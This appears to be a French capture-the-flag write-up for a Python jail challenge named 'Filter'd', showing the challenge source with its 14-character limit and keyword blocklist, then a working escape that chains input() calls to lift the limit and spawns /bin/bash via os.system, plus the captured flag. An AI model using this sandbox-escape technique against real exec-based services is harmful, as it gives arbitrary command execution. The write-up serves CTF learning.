🟩 Filter'd
👀 Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
📖 Énoncé du challenge
#!/usr/local/bin/python3
M = 14 # no malicious code could ever be executed since this limit is so low, right?
def f(code):
assert len(code) <= M
assert all(ord(c) < 128 for c in code)
assert all(q not in code for q in ["exec", "eval", "breakpoint", "help", "license", "exit", "quit"])
exec(code, globals())
f(input("> "))
🚩 Avoir le flag
Une fois que nous arrivons sur cette jaill on va simplement énumérer ce que nous devons absolument faire:
- On ne peut pas utiliser les mots-clés
exec
,eval
,breakpoint
,help
,license
,exit
,quit
. - On ne peut pas utiliser de caractères non-ASCII.
- Notre payload doit faire <= à 14 caractères.
- Nos somme dans un
exec
avec un scopeglobals()
.
Pour le moment tout est parfait ! Je vois complètement comment faire. Nous allons une première fois essayer d'auto appeler la fonction f
.
> a=input();f(a)
b=input();f(b)
M=1000;f(a)
__import__('os').system('/bin/bash')
ls -la
total 16
drwxr-xr-x 1 nobody nogroup 4096 Jul 1 04:46 .
drwxr-xr-x 1 nobody nogroup 4096 Jul 1 04:46 ..
-r--r--r-- 1 nobody nogroup 46 Jul 1 04:39 flag.txt
-rwxr-xr-x 1 nobody nogroup 342 Jul 1 04:45 run
cat flag.txt
jail{can_you_repeat_that_for_me?_aacb7144d2c}
Merci Exec ❤️
Heuresement que nous avons un exec car cela nous permet de définir des variables et de les utiliser dans notre code. Sans cela, nous n'aurions pas pu obtenir le flag.
Et voilà, nous avons notre flag. C'est aussi simple que ça.
💖 Support
👀 Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github